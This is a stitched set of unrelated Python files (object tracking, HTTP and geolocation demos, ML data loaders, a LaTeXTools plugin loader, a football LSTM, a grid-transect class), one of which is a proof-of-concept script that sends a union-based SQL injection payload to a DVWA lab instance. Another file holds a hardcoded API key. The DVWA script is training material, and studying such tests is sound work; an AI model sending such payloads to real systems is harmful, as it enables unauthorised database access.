        self.model = 'resources/object_tracker/model2/mobilenet_iter_73000.caffemodel'

        self.net = cv2.dnn.readNetFromCaffe(self.prototxt, self.model)
        print("Model loading finished")
        self.confidence = 0.4
        self.labels_to_find = ['person']
        self.image_dim = None
        self.image_center = None
        self.tracker = None
        self.label = None
        self.scale_factor = scale_factor
        self.replace = replace
        self.daemon = daemon
        self.object_center = None
        self.object_offset = None
        self.reset_tracker_limit = 20
        self.tracker_count = 0
        self.current_frame = None
        self.current_cropped_frame = None
        self.detection = None

    def run_thread(self, frame):
        t = threading.Thread(
            target=self.track_and_detect,
            daemon=True,
            args=(frame,)
        )
        t.start()

    def track_and_detect(self, frame):
        if not self.image_center:
            (self.image_dim, self.image_center) = utils.get_frame_center(frame)

        w, h = self.image_dim

        rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)

        if self.tracker is None:
            print('trying to track')
            blob = cv2.dnn.blobFromImage(frame, 0.007843, (w, h), 127.5)
            print('got blob')
            # pass the blob through the network and obtain the detections
            # and predictions
            self.net.setInput(blob)

            try:
                detections = self.net.forward()
            except:
                print('error')
                detections = []

            print('forwarded')
            print('detections', len(detections))

            if len(detections) > 0:
                # find the index of the detection with the largest
                # probability -- out of convenience we are only going
                # to track the first object we find with the largest
                # probability; future examples will demonstrate how to
                # detect and extract *specific* objects
                i = np.argmax(detections[0, 0, :, 2])
                # grab the probability associated with the object along
                # with its class label
                conf = detections[0, 0, i, 2]
                self.label = self.CLASSES[int(detections[0, 0, i, 1])]
                if self.label in self.labels_to_find:
                    print('confidence', conf)

                if conf > self.confidence and self.label in self.labels_to_find:
                    # compute the (x, y)-coordinates of the bounding box
                    # for the object
                    box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])
                    (startX, startY, endX, endY) = box.astype("int")
                    # construct a dlib rectangle object from the bounding
                    # box coordinates and then start the dlib correlation
                    # tracker
                    self.tracker = dlib.correlation_tracker()
                    rect = dlib.rectangle(startX, startY, endX, endY)
                    self.tracker.start_track(rgb, rect)
                    # if self.replace:
                    #     cv2.rectangle(frame, (startX, startY), (endX, endY),
                    #                   (0, 255, 0), 1)
                    #     cv2.putText(frame, self.label, (startX, startY - 15),
                    #                 cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 255, 0), 1)
        else:
            self.tracker.update(rgb)
            pos = self.tracker.get_position()

            start_x = int(pos.left())
            start_y = int(pos.top())
            end_x = int(pos.right())
            end_y = int(pos.bottom())

            self.object_center = utils.get_object_center((start_y, end_x, end_y, start_x))
            self.object_offset = utils.get_center_offset(self.object_center, self.image_center)

            cropped_start_x = 0 if start_x < 0 else start_x
            cropped_start_y = 0 if end_y < 0 else start_y
            cropped_end_x = w if end_x > w else end_x
            cropped_end_y = h if start_y > w else end_y

            self.current_cropped_frame = frame[cropped_start_y: cropped_end_y, cropped_start_x: cropped_end_x]

            if self.replace:
                cv2.line(frame, self.object_center, self.image_center, (0, 255, 0), 2)
                # draw the bounding box from the correlation object tracker
                # cv2.rectangle(frame, (start_x, start_y), (end_x, end_y),
                #               (0, 255, 0), 1)
                # cv2.putText(frame, self.label, (startX, startY - 15),
                #             cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 255, 0), 1)

            self.handle_tracker_reset()

        self.current_frame = frame

        if self.current_cropped_frame is not None:
            return self.current_cropped_frame

        return frame

    def handle_tracker_reset(self):
        if self.tracker_count >= self.reset_tracker_limit:
            self.tracker = None

        self.tracker_count = self.tracker_count + 1


"""
http客户端request的使用
"""

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132'
}
proxies = {
    'http': '176.235.99.13:9090'
}

def _get_():
    resp = requests.get('https://github.com/xiaokexiang', headers=headers, proxies=proxies)
    # 指定响应编码
    print('请求响应的编码： ', resp.encoding)
    with open('github.html', 'w', encoding=resp.encoding) as f:
        f.write(resp.text)

def _session_():
    session = requests.session()  # 某些共性接口使用同一个session，避免多次指定参数或header
    session.headers = headers
    session.proxies = proxies
    resp = session.get('https://github.com/xiaokexiang')
    print(resp.text)

_session_()


import requests
import json

send_url = "http://api.ipstack.com/check?access_key=d12f72d834c71d8c72ca5face5f22bac&security=1"
#secure key
geo_req = requests.get(send_url)
geo_json = json.loads(geo_req.text)

latitude = geo_json['latitude']
longitude = geo_json['longitude']
city = geo_json['city']
country = geo_json['country_name']

print("I've always wanted to go to " + city + ", " + country)


import torch
from torchvision import datasets, transforms
import numpy as np
from torch.utils.data.dataset import Dataset
import pickle
import os
import glob
import matplotlib.pyplot as plt
from matplotlib import offsetbox
from sklearn import (manifold, datasets, decomposition, ensemble,
                     discriminant_analysis, random_projection, neighbors)

## dataloader for spectrogram
def load_spectrogram(fpath):
    images = np.array([])
    labels = np.array([])
    flist = glob.glob(os.path.join(fpath,"*.csv"))
    # index = 0
    for f in flist:
        data = np.genfromtxt(f, delimiter=',')
        samples = data.shape[0]
        images = np.vstack([images,data.reshape(-1,5,32)]) if images.size else data.reshape(-1,5,32)

        index = f.split('_')[1]
        label = np.zeros(samples) + int(index)
        labels = np.concatenate((labels,label)) if labels.shape else label
        # print(f'file: {f}, index: {index}, samples: {samples}')
        # index += 1
    # normalize
    # mean = images.mean()
    # std = images.std()
    # images = (images - mean) / std  # normalize data

    return images.reshape(-1,1,5,32), labels

def load_spectrogram_train(fpath,samples_per_class):
    images = []
    labels = []
    num_classes = 4
    with open(fpath, 'rb') as rfile:
        train_dataset =  pickle.load(rfile)
    # for image in train_dataset['features']:
    #     # print(image.min(),image.max())
    #     images.append((image/255)-.5)
    # for label in train_dataset['labels']:
    #     # labels.append(np.eye(num_classes)[label])
    #     labels.append(label)

    images = np.array(train_dataset['features'])
    labels = np.array(train_dataset['labels'])

    # sample N data from each class
    N = samples_per_class
    unique, counts = np.unique(labels, return_counts=True)
    new_images = np.array([])
    new_labels = np.array([])
    start = 0
    for i in range(len(unique)):
        # random list
        list_ = np.random.random_integers(counts[i]-1,size=(N)) + start
        temp_m = images[list_]
        temp_l = labels[start:start+N]
        new_images = np.vstack([new_images,temp_m]) if new_images.size else temp_m
        new_labels = np.concatenate((new_labels,temp_l)) if new_labels.size else temp_l
        start = start + counts[i]
    print(new_images.shape,new_labels.shape)

    return new_images.reshape(-1,1,5,32), new_labels

class readSPEC:
    def __init__(self,data_root,mode):
        self.train_data = []
        self.train_labels = []
        self.test_data = []
        self.test_labels = []
        self.validation_data = []
        self.validation_labels = []

        # load train data
        # opt = '' #
        # opt = '_4_classes'
        # opt = '_exp14'
        data_root = data_root
        train_dir = os.path.join(data_root,mode)
        # for evaluating the effect of class samples
        # img, lab = load_spectrogram_train(train_dir,10)
        img, lab = load_spectrogram(train_dir)
        self.train_data.extend(img)
        self.train_labels.extend(lab)

        self.train_data = np.array(self.train_data,dtype=np.float32)
        self.train_labels = np.array(self.train_labels)

        # load test data
        test_dir = os.path.join(data_root,mode)
        img, lab = load_spectrogram(test_dir)
        self.test_data.extend(img)
        self.test_labels.extend(lab)

        self.test_data = np.array(self.test_data,dtype=np.float32)
        self.test_labels = np.array(self.test_labels)

        # load validation data

        # img, lab = load_batch('./data/traffic-signs-data/valid.p')
        # self.validation_data.extend(img)
        # self.validation_labels.extend(lab)

        # self.validation_data = np.array(self.validation_data,dtype=np.float32)
        # self.validation_labels = np.array(self.validation_labels)

class SPEC(Dataset):
    def __init__(self,dataroot,mode):
        self.data = torch.from_numpy(getattr(readSPEC(dataroot,mode),'{}_data'.format(mode))).float() # .permute(0,3,1,2)
        # print(self.data.shape)
        self.target = torch.from_numpy(getattr(readSPEC(dataroot,mode),'{}_labels'.format(mode))).long()
        # print(self.target[0])

        # normalize data
        # self.transform = transforms.Normalize((0.5,), (0.5,))

    def __getitem__(self, index):
        x = self.data[index]
        y = self.target[index]
        return x, y
        # return x, y

    def __len__(self):
        return len(self.data)

def load_spec(dataroot='./data',batch_size=32):
    kwargs = {'num_workers': 1, 'pin_memory': True, 'drop_last': False}
    train_loader = torch.utils.data.DataLoader(SPEC(dataroot,'train'),
    batch_size=batch_size, shuffle=True, **kwargs)
    test_loader = torch.utils.data.DataLoader(SPEC(dataroot,'test'),
    batch_size=batch_size, shuffle=False, **kwargs)
    # valid_loader = torch.utils.data.DataLoader(GTSRB('val'),
    # batch_size=1, shuffle=False, **kwargs)

    return train_loader, test_loader

# Scale and visualize the embedding vectors
def plot_embedding(X, y, title=None):
    x_min, x_max = np.min(X, 0), np.max(X, 0)
    X = (X - x_min) / (x_max - x_min)

    plt.figure()
    ax = plt.subplot(111)
    for i in range(X.shape[0]):
        print(X[i, 0], X[i, 1], str(y[i]))
        plt.text(X[i, 0], X[i, 1], str(y[i]),
                 color=plt.cm.Set1(y[i] / 4.),
                 fontdict={'weight': 'bold', 'size': 9})

    if hasattr(offsetbox, 'AnnotationBbox'):
        # only print thumbnails with matplotlib > 1.0
        shown_images = np.array([[1., 1.]])  # just something big
        for i in range(X.shape[0]):
            dist = np.sum((X[i] - shown_images) ** 2, 1)
            if np.min(dist) < 4e-3:
                # don't show points that are too close
                continue
            shown_images = np.r_[shown_images, [X[i]]]
            # imagebox = offsetbox.AnnotationBbox(
            #     offsetbox.OffsetImage(digits.images[i], cmap=plt.cm.gray_r),
            #     X[i])
            # ax.add_artist(imagebox)
    plt.xticks([]), plt.yticks([])
    if title is not None:
        plt.title(title)


# -*- coding: utf-8 -*-
"""
@Project  :dvwa-POC
@File     :dvwa-Sql.py
@Date     :2022/5/9 15:35
@Author   :7-R2X

"""

import requests
import hashlib
import random

# dvwa需要带上可用的cookie
cookies = {
    'PHPSESSID': 'cigkmpp2fo5mg1ql8g2h63cut3',
    'security': 'low',
}

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'keep-alive',
    # Requests sorts cookies= alphabetically
    # 'Cookie': 'PHPSESSID=cigkmpp2fo5mg1ql8g2h63cut3; security=low',
    'DNT': '1',
    'Referer': 'http://192.168.163.131:8080/vulnerabilities/sqli/',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',
    'sec-gpc': '1',
}
# 随机获取一个随机数
random_num = str(random.random())
# 传递随机数
params = {
    'id': '-1\' union select 1,md5({}) #'.format(random_num),
    'Submit': 'Submit',
}

# md5
md = hashlib.md5()
md.update(random_num.encode('utf-8'))
print(md.hexdigest())

# 发起请求
response = requests.get('http://192.168.163.131:8080/vulnerabilities/sqli/', params=params, cookies=cookies,
                        headers=headers, verify=False)

# 对比md5加密之后的值，判断漏洞是否存在
if md.hexdigest() in response.text:
    print(md.hexdigest())
    print('存在SQL注入漏洞')


'''
Plugin auto-discovery system intended for use in LaTeXTools package.

Overview
========

A plugin is a Python class that extends LaTeXToolsPlugin and provides some
functionality, usually via a function, that LaTeXTools code interacts with.
This module provide mechanisms for loading such plugins from arbitrary files
and configuring the environment in which they are used. It tries to make as
few assumptions as possible about how the consuming code and the plugin
interact. At it's heart it is just a plugin registry.

A quick example plugin:

    from latextools_plugin import LaTeXToolsPlugin

    class PluginSample(LaTeXToolsPlugin):
        def do_something():
            pass

And example consuming code:

    from latextools_plugin import get_plugin

    plugin = get_plugin('plugin_sample')
    # instantiate and use the plugin
    plugin().do_something()

Note that we make no assumption about how plugins are used, just how they are
loaded. It is up to the consuming code to provide a protocol for interaction,
i.e., methods that will be called, etc.

As shown above, plugin others should import and sub-class the
`LaTeXToolsPlugin` class from this module, as this will ensure the plugin is
properly registered and so available to consuming code. Plugins are registered
by using a version of the class name, so it is important that all plugins used
have a unique class name. The conversion is similar to how Sublime handles
*Command objects, so the name is converted from CamelCase to snake_case. In
addition, the word "Plugin", if it occurs at the end of the class name, is
removed.

Consuming code loads a plugin from the registry by passing the converted plugin
name to the `get_plugin()` function defined in this class. What is returned is
the class itself, i.e., it is the responsibility of the consuming code to
initialize the plugin and then interact with it.

Finding Plugins
===============

The following loading mechanisms for plugins are provided, either using
configuration options or the `add_plugin_path()` function defined in this
module.

Configuration options:
    `plugin_paths`: in the standard user configuration.
         A list of either directories to search for plugins or paths to
         plugins.
         Defaults to an empty list, in which case nothing will be done.

        Paths can either be specified as absolute paths, paths relative to the
        LaTeXTools package or paths relative to the User package. Paths in the
        User package will mask paths in the LaTeXTools package. This is
        intended to emulate the behaviour of ST.

        If the default glob of *.py is unacceptable, the path can instead be
        specified as a tuple consisting of the path and the glob to use. The
        glob *must* be compatible with the Python glob module. E.g.,
        ```json
            "plugin_paths": [['latextools_plugins', '*.py3']]
        ```
        will load all .py3 files in the `latextools_plugins` subdirectory of
        the User package.

API:
    `add_plugin_path()`: can be used in a manner similar to the `plugin_paths`
    configuration option. Its required argument is the path to be search, which
    can be specified either relative to the LaTeXTools package, the User
    package or as an absolute path. In addition it takes an optional argument
    of the glob to use to identify plugin files. The main purpose is to allow
    LaTeXTools code to register a default location to load plugins from.

The Plugin Environment
======================
The plugin environment will be setup so that the directory containing the
plugin is the first entry on sys.path, enabling import of any modules located
in the same folder, according to standard Python import rules. In addition, the
standard modules available to SublimeText are available. In addition, a small
number of modules from LaTeXTools itself can be made available. This list of
modules can be configured  either through the `plugins_whitelist` configuration
option in the settings file or by using the `add_whitelist_module()` function
defined in this module.

Configuration options:
    `plugins_whitelist`:
        A list of LaTeXTools module names to be made available via sys.modules
        when  loading plugins. This names do not need to be the fully
        qualified name, but should be the name of the module relative to the
        LaTeXTools folder (i.e.  "latextools_utils" rather than
        "LaTeXTools.latextools_utils") as this ensures compatibility between
        ST2 and ST3.

API:
    `add_whitelist_module()`: can be used in a manner similar to the
    `plugins_whitelist` option described above, i.e. called with the name of a
    module to add to the list of modules available in sys.modules when a
    LaTeXTools plugin is loaded. The optional argument, `module`, if used
    should be a Python module object (normally obtained from `sys.modules`).
    This is primarily intended to expose a module that would not otherwise be
    available or expose an already available module to plugins under a
    different name.
'''

import glob as _glob
import os
import sys

import threading
import traceback

from contextlib import contextmanager

from collections import MutableMapping

import sublime

from .latextools_utils import get_setting
from . import latextools_plugin_internal as internal

__all__ = [
    'LaTeXToolsPlugin', 'get_plugin', 'get_plugins_by_type',
    'add_plugin_path', 'LaTeXToolsPluginException', 'InvalidPluginException',
    'NoSuchPluginException'
]

# this is used to load plugins and not interfere with other modules
_MODULE_PREFIX = '_latextools_'

# -- Public API --#
# exceptions
class LaTeXToolsPluginException(Exception):
    '''
    Base class for plugin-related exceptions
    '''
    pass

class NoSuchPluginException(LaTeXToolsPluginException):
    '''
    Exception raised if an attempt is made to access a plugin that does not
    exist

    Intended to allow the consumer to provide the user with some more useful
    information e.g., how to properly configure a module for an extension point
    '''
    pass

class InvalidPluginException(LaTeXToolsPluginException):
    '''
    Exception raised if an attempt is made to register a plugin that is not a
    subclass of LaTeXToolsPlugin.
    '''
    pass

LaTeXToolsPlugin = internal.LaTeXToolsPlugin

# methods for consumers
def add_plugin_path(path, glob='*.py'):
    '''
    This function adds plugins from a specified path.

    It is primarily intended to be used by consumers to load plugins from a
    custom path without needing to access the internals. For example, consuming
    code could use this to load any default plugins

    `glob`, if specified should be a valid Python glob. See the `glob` module.
    '''
    if (path, glob) not in internal._REGISTERED_PATHS_TO_LOAD:
        internal._REGISTERED_PATHS_TO_LOAD.append((path, glob))

    # if we are called before `plugin_loaded`
    if internal._REGISTRY is None:
        return

    previous_plugins = set(internal._REGISTRY.keys())

    with _latextools_module_hack():
        if not os.path.exists(path):
            return

        if os.path.isfile(path):
            plugin_dir = os.path.dirname(path)
            sys.path.insert(0, plugin_dir)

            _load_plugin(os.path.basename(path), plugin_dir)

            sys.path.pop(0)
        else:
            for file in _glob.iglob(os.path.join(path, glob)):
                plugin_dir = os.path.dirname(file)
                sys.path.insert(0, plugin_dir)

                _load_plugin(os.path.basename(file), plugin_dir)

                sys.path.pop(0)

    print('Loaded LaTeXTools plugins {0} from path {1}'.format(
        list(set(internal._REGISTRY.keys()) - previous_plugins),
        path))

def add_whitelist_module(name, module=None):
    '''
    API function to ensure that a certain module is made available to any
    plugins.

    `name` should be the name of the module as it will be imported in a plugin
    `module`, if specified, should be either an actual module object or a
    callable that returns the actual module object.

    The `module` mechanism is provided to allow for the import of modules that
    might otherwise be unavailable or available in sys.modules only by a
    different name. Standard LaTeXTools modules should provide a name only.

    Note that this function *must* be called before add_plugin_path.
    '''
    for i, (_name, _module) in enumerate(internal._WHITELIST_ADDED):
        if _name == name:
            if _module == module:
                return
            internal._WHITELIST_ADDED[i] = (_name, module)
            return

    internal._WHITELIST_ADDED.append((name, module))

def get_plugin(name):
    '''
    This is intended to be the main entry-point used by consumers (not
    implementors) of plugins, to find any plugins that have registered
    themselves by name.

    If a plugin cannot be found, a NoSuchPluginException will be thrown. Please
    try to provide the user with any helpful information.

    Use case:
        Provide the user with the ability to load a plugin by a memorable name,
        e.g., in a settings file.

        For example, 'biblatex' will get the plugin named 'BibLaTeX', etc.
    '''
    if internal._REGISTRY is None:
        raise NoSuchPluginException(
            'Could not load plugin {0} because the registry either hasn\'t ' +
            'been loaded or has just been unloaded.'.format(name)
        )
    return internal._REGISTRY[name]

def get_plugins_by_type(cls):
    if internal._REGISTRY is None:
        raise NoSuchPluginException(
            'No plugins could be loaded because the registry either hasn\'t '
            'been loaded or has been unloaded'
        )

    plugins = [plugin for _, plugin in internal._REGISTRY.items()
               if issubclass(plugin, cls)]

    return plugins

# -- Private API --#
from importlib.machinery import PathFinder, SourceFileLoader
from . import latextools_plugin_internal as internal

# WARNING:
# imp module is deprecated in 3.x, unfortunately, importlib does not seem
# to have a stable API, as in 3.4, `find_module` is deprecated in favour of
# `find_spec` and discussions of how best to provide access to the import
# internals seem to be on-going
def _load_module(module_name, filename, *paths):
    name, ext = os.path.splitext(filename)

    if ext in ('.py', ''):
        loader = PathFinder.find_module(name, path=paths)
        if loader is None:
            loader = PathFinder.find_module(name)
        if loader is None:
            raise ImportError(
                'Could not find module {} on path {} or sys.path'.format(
                    name, paths))
    else:
        loader = None
        for path in paths:
            p = os.path.normpath(os.path.join(path, filename))
            if os.path.exists(p):
                loader = SourceFileLoader(module_name, p)

        if loader is None:
            raise ImportError(
                'Could not find module {} on path {}'.format(name, paths))

    loader.name = module_name
    return loader.load_module()

def _get_sublime_module_name(directory, module):
    return '{0}.{1}'.format(os.path.basename(directory), module)

class LaTeXToolsPluginRegistry(MutableMapping):
    '''
    Registry used internally to store references to plugins to be retrieved
    by plugin consumers.
    '''

    def __init__(self):
        self._registry = {}

    def __getitem__(self, key):
        try:
            return self._registry[key]
        except KeyError:
            raise NoSuchPluginException(
                'Plugin {0} does not exist. Please ensure that the plugin is '
                'configured as documented'.format(key)
            )

    def __setitem__(self, key, value):
        if not isinstance(value, internal.LaTeXToolsPluginMeta):
            raise InvalidPluginException(value)

        self._registry[key] = value

    def __delitem__(self, key):
        del self._registry[key]

    def __iter__(self):
        return iter(self._registry)

    def __len__(self):
        return len(self._registry)

    def __str__(self):
        return str(self._registry)

_classname_to_internal_name = internal._classname_to_internal_name

def _get_plugin_paths():
    plugin_paths = get_setting('plugin_paths', [])
    return plugin_paths

def _load_plugin(filename, *paths):
    name, ext = os.path.splitext(filename)

    # hopefully a unique-enough module name!
    if not ext or ext == '.py':
        module_name = '{0}{1}'.format(_MODULE_PREFIX, name)
    else:
        module_name = '{0}{1}_{2}'.format(_MODULE_PREFIX, name, ext[1:])

    if module_name in sys.modules:
        try:
            return sys.modules[module_name]
        except FileNotFoundError:
            # A previous plugin has been moved or removed, so just reload it
            pass

    try:
        return _load_module(module_name, filename, *paths)
    except:
        print('Could not load module {0} using path {1}.'.format(name, paths))
        traceback.print_exc()

    return None

def _load_plugins():
    def _resolve_plugin_path(path):
        if not os.path.isabs(path):
            p = os.path.normpath(
                os.path.join(sublime.packages_path(), 'User', path))
            if not os.path.exists(p):
                p = os.path.normpath(
                    os.path.join(sublime.packages_path(), 'LaTeXTools', path))
            return p
        return path

    for path in _get_plugin_paths():
        if isinstance(path, str):
            add_plugin_path(_resolve_plugin_path(path))
        else:
            try:
                # assume path is a tuple of [<path>, <glob>]
                add_plugin_path(_resolve_plugin_path(path[0]), path[1])
            except:
                print(
                    'An error occurred while trying to add the plugin '
                    'path {0}'.format(path))
                traceback.print_exc()

@contextmanager
def _latextools_module_hack():
    '''
    Context manager to ensure sys.modules has certain white-listed modules,
    most especially latextools_plugins. This exposes some of the modules in
    LaTeXTools to plugins. It is intended primarily to expose library-esque
    functionality, such as the getTeXRoot module, but can be configured by
    the user as-needed.
    '''
    # add any white-listed plugins to sys.modules under their own name
    plugins_whitelist = get_setting(
        'plugins_whitelist',
        ['external', 'getTeXRoot', 'latextools_utils']
    )

    # always include latextools_pluing
    plugins_whitelist.append('latextools_plugin')
    overwritten_modules = {}

    whitelist = [(name, None) for name in plugins_whitelist]
    whitelist.extend(internal._WHITELIST_ADDED)

    # put the directory containing this file on the sys.path
    __dir__ = os.path.dirname(__file__)

    # handles ST2s relative directory
    if __dir__ == '.':
        __dir__ = os.path.join(sublime.packages_path(), 'LaTeXTools')

    # insert the LaTeXTools directory on the path
    sys.path.insert(0, __dir__)
    for name, module in whitelist:
        if callable(module):
            module = module()

        if name in sys.modules:
            overwritten_modules[name] = sys.modules[name]

        # attempting to autoload module
        if module is None:
            # if the module has already been loaded by ST, we just use that
            latextools_module_name = _get_sublime_module_name(__dir__, name)
            if latextools_module_name in sys.modules:
                sys.modules[name] = sys.modules[latextools_module_name]
            else:
                try:
                    sys.modules[name] = _load_module(name, name, __dir__)
                except ImportError:
                    print(
                        'An error occurred while trying to load white-listed '
                        'module {0}'.format(name)
                    )
                    traceback.print_exc()
        else:
            sys.modules[name] = module

    # remove the LaTeXTools directory from the path
    sys.path.pop(0)

    yield

    # restore any temporarily overwritten modules and clear our loaded modules
    for module in plugins_whitelist:
        if _get_sublime_module_name(__dir__, module) != module:
            del sys.modules[module]
        if module in overwritten_modules:
            sys.modules[module] = overwritten_modules[module]

# load plugins when the Sublime API is available, just in case...
def plugin_loaded():
    t = threading.Thread(target=_plugin_loaded)
    t.daemon = True
    t.start()

def _plugin_loaded():
    internal._REGISTRY = LaTeXToolsPluginRegistry()

    print('Loading LaTeXTools plugins...')

    for name, cls in internal._REGISTERED_CLASSES_TO_LOAD:
        internal._REGISTRY[name] = cls

    _load_plugins()

    for path, glob in internal._REGISTERED_PATHS_TO_LOAD:
        add_plugin_path(path, glob)


#!/usr/bin/env python

import re

import click
import pandas as pd

def extract_articleID_and_filename(record):
    record_items = record.split("\n")
    ref_id = "@" + re.search("{(.+?),", record_items[0]).group(1)
    item_file = [x for x in record_items if x.startswith("\tfile = {")]
    if len(item_file) > 0:
        item_file = item_file[0]
        notion_Name = re.search(
            r"\tfile = {(.+?).pdf:/Users", item_file, re.IGNORECASE
        ).group(1)
    else:
        notion_Name = None

    return ref_id, notion_Name

@click.command()
@click.option("--notion_draft", "-i", help="Notion exported markdown file")
@click.option("--bibtex", "-r", help="Zotero exported bibtex file")
@click.option("--manuscript", "-o", help="Output file in markdown format")
def main(notion_draft, bibtex, manuscript):
    with open(bibtex) as fh:
        ref = fh.read()
        items = [x for x in ref.split("\n@") if len(x) > 10]

    rst = []
    for record in items:
        ref_id, notion_Name = extract_articleID_and_filename(record)
        if notion_Name != None:
            rst += [[ref_id, notion_Name, record]]

    df = pd.DataFrame(rst, columns=["ref_id", "notion_Name", "bibtex_rec"])
    recs = df.to_dict(orient="records")

    # replace in draft
    with open(notion_draft) as fh:
        draft = fh.read()
        draft = re.sub(r"\(https://www.notion.so/[\w\"\'+-]*\)", "", draft)

    references = []
    for rec in recs:
        if rec["notion_Name"] in draft:
            draft = draft.replace(rec["notion_Name"], rec["ref_id"])
            references.append("@" + rec["bibtex_rec"])

    draft = re.sub(r"\],[\s]+\[@", "; @", draft)

    # Add header
    header = f"""---\ntitle: "Title"\noutput: word_document\nbibliography: {bibtex}\n---\n\n"""
    draft = header + draft + "\n\n# References\n"
    with open(manuscript, "w") as fh:
        fh.write(draft)

    with open(manuscript + ".bibtex", "w") as fh:
        fh.write("\n".join(references))

if __name__ == "__main__":
    main()


import pandas as pd
import numpy as np
from keras.layers import LSTM, Dense
from keras.models import Sequential

# Load the dataset
df = pd.read_csv("data/tour/E0.csv")

# Create new columns for the points
df["HomePoints"] = 0
df["AwayPoints"] = 0
# Home team goals
df["HomeTeamGoals"] = 0
# Away team goals
df["AwayTeamGoals"] = 0

# Create a dict to store the accumulated points
points = {}

# Iterate over the rows of the dataset
for index, row in df.iterrows():
    # Check the result of the match
    if row["FTHG"] > row["FTAG"]:
        # Home team wins
        points[row["HomeTeam"]] = points.get(row["HomeTeam"], 0) + 3
    elif row["FTHG"] == row["FTAG"]:
        # Draw
        points[row["HomeTeam"]] = points.get(row["HomeTeam"], 0) + 1
        points[row["AwayTeam"]] = points.get(row["AwayTeam"], 0) + 1
    else:
        # Away team wins
        points[row["AwayTeam"]] = points.get(row["AwayTeam"], 0) + 3
    df.at[index, "HomePoints"] = points.get(row["HomeTeam"], 0)
    df.at[index, "AwayPoints"] = points.get(row["AwayTeam"], 0)

# Drop all the columns except FTHG, FTAG, HomePoints, AwayPoints, Tour
df = df[["Date", "HomeTeam", "AwayTeam", "FTHG", "FTAG", "HomePoints", "AwayPoints"]]

# Save the dataset
df.to_csv("data/tour/E0_1.csv", index=False)

# Transorm Date to_datetime
df['Date'] = pd.to_datetime(df['Date'], format='%d/%m/%Y')

# Sort by Date
df = df.sort_values(by=['Date'])

# Drop the unnecessary columns
df = df.drop(["FTHG", "FTAG"], axis=1)

# Create a new dataset with points for each team
df_points = pd.DataFrame(columns=["Date", "Team", "Points"])

# Iterate over the rows of the dataset
for index, row in df.iterrows():
    # Create a new row for the home team
    df_points = df_points.append({
        "Date": row["Date"],
        "Team": row["HomeTeam"],
        "Points": row["HomePoints"]
    }, ignore_index=True)
    # Create a new row for the away team
    df_points = df_points.append({
        "Date": row["Date"],
        "Team": row["AwayTeam"],
        "Points": row["AwayPoints"]
    }, ignore_index=True)

# Group by Date and Team
df_points = df_points.groupby(["Team","Date"]).sum().reset_index()

df = df_points

data = df[['Points']].values

# create a function to split the data into input and output sequences
def split_sequence(sequence, n_steps):
    X, y = list(), list()
    for i in range(len(sequence)):
        # find the end of this pattern
        end_ix = i + n_steps
        # check if we are beyond the sequence
        if end_ix > len(sequence)-1:
            break
        # gather input and output parts of the pattern
        seq_x, seq_y = sequence[i:end_ix], sequence[end_ix]
        X.append(seq_x)
        y.append(seq_y)
    return np.array(X), np.array(y)

# choose number of previous values to use as input
n_steps = 5

# split the data into input and output sequences
X, y = split_sequence(data, n_steps)

# reshape the input data
n_features = 1
X = X.reshape((X.shape[0], X.shape[1], n_features))

# define the LSTM model
model = Sequential()
model.add(LSTM(50, activation='relu', input_shape=(n_steps, n_features)))
model.add(Dense(1))
model.compile(optimizer='adam', loss='mse')

# fit the model to the data
model.fit(X, y, epochs=200, verbose=1)

# make predictions
x_input = data[-n_steps:]
x_input = x_input.reshape((1, n_steps, n_features))

print(x_input)
yhat = model.predict(x_input, verbose=1)

# print the prediction
print(yhat)


"""Tools for defining and working with transects on a model grid"""
import numpy as np
import matplotlib.pyplot as plt
import os.path

from pygeo import geo

from . import varmeta

class ZonalTransect:
    """Zonal transect in a near-regular lon/lat grid

    Parameters
    ----------
    longrid,latgrid : 2D arrays
        lon, lat grid vertices on which the transect lies
    lat0 : float
        reference latitude at or close to which to draw the transect
    lonw, lone : float, optional
        western and eastern boundaries for zonal transect
        if not provided, the mask of latgrid (if existent)
        limits the lateral extent of the transect

    Attributes added
    ----------------
    lon,lat : lon,lat axes of u vertices
    ii,j : indices of transect on lon,lat grid

    Example
    -------

        tr = ZonalTransect(longrid,latgrid,lat0,lonw,lone)
        print(tr.ii)
        print(tr.j)
        tr.plot_map(longrid,latgrid)

    """

    def __init__(self,longrid,latgrid,lat0,
                 lonw=None,lone=None):
        self.lat0 = lat0

        longrid = np.mod(longrid[:],360)

        # mask the latgrid for mean taking
        if lonw is None or lone is None:
            latgrid_masked = latgrid
        else:
            self.lone = np.mod(lone,360) or 360
            self.lonw = np.mod(lonw,360) or 360

            # limit the selectable region zonally
            if self.lonw <= self.lone:
                latgrid_masked = np.ma.masked_where(
                    ((longrid >= self.lonw) & (longrid <= self.lone)),latgrid[:])
            else:
                latgrid_masked = np.ma.masked_where(
                    ((longrid >= self.lonw) | (longrid <= self.lone)),latgrid[:])

        # find position of best fitting zonal section
        latmean = np.mean(latgrid_masked,axis=1)
        self.j = j = np.argmin(np.abs(latmean-lat0))

        # find the zonal boundaries of the section
        lonband = longrid[j,:]
        if lonw is None or lone is None:
            regmask = (~np.ma.getmaskarray(latgrid_masked))[j,:]
            if regmask.all(): # nothing masked
                iw,ie = 0,len(lonband)-1
            elif regmask[[0,-1]].all(): # region wraps around
                # find largest connected region of False
                cr = np.cumsum(regmask)
                regmask_largest = cr == np.argmax(np.bincount(cr))
                ie,iw = np.where(regmask_largest)[0][[0,-1]] ; ie+=1
            else:
                iw,ie = np.where(regmask)[0][[0,-1]]
        else:
            iw = np.argmin(np.abs(lonband-self.lonw))
            ie = np.argmin(np.abs(lonband-self.lone))

        if iw > ie:
            self.ii = np.concatenate([np.arange(iw,len(lonband)),np.arange(0,ie+1)])
        else:
            self.ii = np.arange(iw,ie+1)

        # make sure longitude axis is monotonically increasing
        lontmp = lonband[self.ii]
        lonbreaks = np.where(np.diff(lontmp)<-180)[0]
        for br in lonbreaks:
